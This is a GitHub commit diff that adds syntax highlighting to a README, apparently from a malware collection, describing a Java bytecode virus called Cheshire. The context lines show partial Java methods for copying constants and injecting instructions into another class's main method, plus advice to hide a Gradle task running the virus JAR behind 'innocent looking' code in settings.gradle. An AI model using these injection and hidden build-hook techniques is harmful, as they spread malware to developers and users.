Skip to content

Commit b6467a4

Browse files
authored
Added syntax highlighting
1 parent be18696 commit b6467a4

1 file changed

Lines changed: 4 additions & 4 deletions

File tree

Java/Virus.Java.Cheshire.a/README.md

Lines changed: 4 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -99,7 +99,7 @@ The viurs should be flexible and allow for advanced payloads specific by the use
9999

100100
This is probably the easiest part of the whole process. Our code for doing this is:
101101

102-
```
102+
```java
103103
public static int copyConstant(HashMap<String, Object> origin, int origin_index, HashMap<String, Object> destination){
104104
byte[][] constant_pool = (byte[][]) origin.get("constant_pool");
105105
byte[] orig_constant = constant_pool[origin_index-1];
@@ -253,7 +253,7 @@ merely a matter of adding it to an index of methods, the real challenge is in en
253253
methods to actually function at runtime.
254254

255255
The workhorse of the virus for this is the instructionIndex method:
256-
```
256+
```java
257257
public static int instructionIndex(int index, ArrayList<byte[]> oldList, ArrayList<byte[]> newList){
258258
int oldposition = 0;
259259
int newposition = 0;
@@ -311,7 +311,7 @@ is that it took forever to get functioning without errors.
311311
The last part of our process after we copy our methods is actually inject instructions into a function that we did not
312312
write and have no control over. The good news for me is that this didn't require too much extra work.
313313

314-
```
314+
```java
315315
public static void inject(HashMap<String, Object> origin, HashMap<String, Object> destination){
316316
//Are there any functions called main?
317317
//Get the method, get the code attribute, extract code, place instruction and see if we can extend StackMapFrame
@@ -390,7 +390,7 @@ probably also works in Android studio. I haven't tried it myself - maybe you sho
390390
The trick is very simple:
391391

392392
In settings.gradle in your project, place some innocent looking comments and code:
393-
```
393+
```gradle
394394
task testSuite(type: JavaExec) {
395395
jar
396396
classpath = files('build/libs/BytecodeVirus-1.0-SNAPSHOT.jar')

0 commit comments

Comments
 (0)